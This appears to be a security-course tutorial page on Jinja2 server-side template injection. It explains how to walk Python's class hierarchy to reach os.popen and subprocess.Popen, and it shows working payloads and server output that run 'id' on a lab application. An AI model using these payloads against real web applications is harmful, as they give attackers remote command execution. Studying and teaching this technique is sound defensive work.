Skip to content

Exploiting when we dont have flask

Calling Other Functions, and the MRO

When we dont have acccss to the request.application we can still work back up the tree.

Defining a new base object (for example a string), we are able to create a new object of type class As each of the classes know about their Parent, we can traverse back up the class higerachy untill we reach the root of the tree. This gives us a starting point of the common (builtin) functions that we can use to exploit the system.

Example

For our elvis string, we can get back to the top of the tree with either

n [16]: "Elvis".__class__.__base__.__subclasses__()
Out[16]: 
[type,
weakref,
weakcallableproxy,
weakproxy,
int,
bytearray,
bytes,
list,

Or using the MRO

In [26]: "Elvis".__class__.mro()[1].__subclasses__()
Out[26]: 
[type,
weakref,
weakcallableproxy,
weakproxy,
int,
bytearray,

Proof of Concept (part 1)

So our POC looks something like this.

  1. Create a new object (In this case a string)
  2. Traverse its parents unill we get to the base classs
  3. Use the contents of __subclasses__ to find the functionality we want.

Traversing the Tree using our python script

using the sendPayload script we wrote earlier we get

In [27]: sendPayload("{{ 'Elvis'.__class__.__base__.__subclasses__() }}")

<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>Present List</title>
  <meta name="author" content="aa9863@coventry.ac.uk">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>

<body>
  <div class="container">

<h2>Error</h2>
<div class="alert alert-danger" role="alert">
ERROR:  [&lt;class &#39;type&#39;&gt;, &lt;class &#39;weakref&#39;&gt;, &lt;class &#39;weakcallableproxy&#39;&gt;, &lt;class &#39;weakproxy&#39;&gt;, &lt;class &#39;int&#39;&gt;, &lt;class &#39;bytearray&#39;&gt;, &lt;class &#39;bytes&#39;&gt;, &lt;class &#39;list&#39;&gt;, &lt;class &#39;NoneType&#39;&gt;, &lt;class &#39;NotImplementedType&#39;&gt;, &lt;class &#39;traceback&#39;&gt;, &lt;class &#39;super&#39;&gt;

After a bit of mangling with Awk and SED, we can get a list of all the objects and functions that are avaialable.

&lt;class &#39;type, 
weakref, 
weakcallableproxy, 
weakproxy, 
int, 
bytearray, 
bytes, 
list, 
NoneType, 
NotImplementedType, 
traceback, 
super, 
range, 

Using OS

While we cant directly access OS, a useful function that should be available to us is the warnings.catch_warnings module. This imports a whole range of useful functionality, including the OS module.

I found the warnings.catch_warnings on line 186 of the output.

In [70]: sendPayload("{{ [].__class__.__mro__[1].__subclasses__()[186] }}")
....
ERROR:  &lt;class &#39;warnings.catch_warnings&#39;&gt; is not a King

We can then use the same trick to locate the Import statment and get to our intended function

sendPayload("{{ [].__class__.__mro__[1].__subclasses__()[186].__init__.__globals__
    ...: ['sys'].modules['os'].popen('id').read() }}")

....
ERROR:  uid=999(flask) gid=999(flask) groups=999(flask)

Using Subprocess

If wearnings is not available, we can find the subprocess.popen command in the list of builtins. On my system its item 414 in the list.

In [56]: sendPayload("{{ 'Elvis'.__class__.__base__.__subclasses__()[414] }}")

<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>Present List</title>
  <meta name="author" content="aa9863@coventry.ac.uk">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>

<body>
  <div class="container">

<h2>Error</h2>
<div class="alert alert-danger" role="alert">
ERROR:  &lt;class &#39;subprocess.Popen&#39;&gt; is not a King
</div>

  </div>
</body>
</html>

Once we have found this its easy to complete our payload to run a command

In [64]: sendPayload("{{ 'Elvis'.__class__.__base__.__subclasses__()[414]('id', shell=True,
    ...:  stdout=-1).communicate() }}")

<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>Present List</title>
  <meta name="author" content="aa9863@coventry.ac.uk">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>

<body>
  <div class="container">

<h2>Error</h2>
<div class="alert alert-danger" role="alert">
ERROR:  (b&#39;uid=999(flask) gid=999(flask) groups=999(flask)\n&#39;, None) is not a King
</div>

  </div>
</body>
</html>

Dealng with Filters

A lot of the time we have to work our way around filers.

This is an excellent resource SSTI Filter Evasion

Further Reading

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

Back to top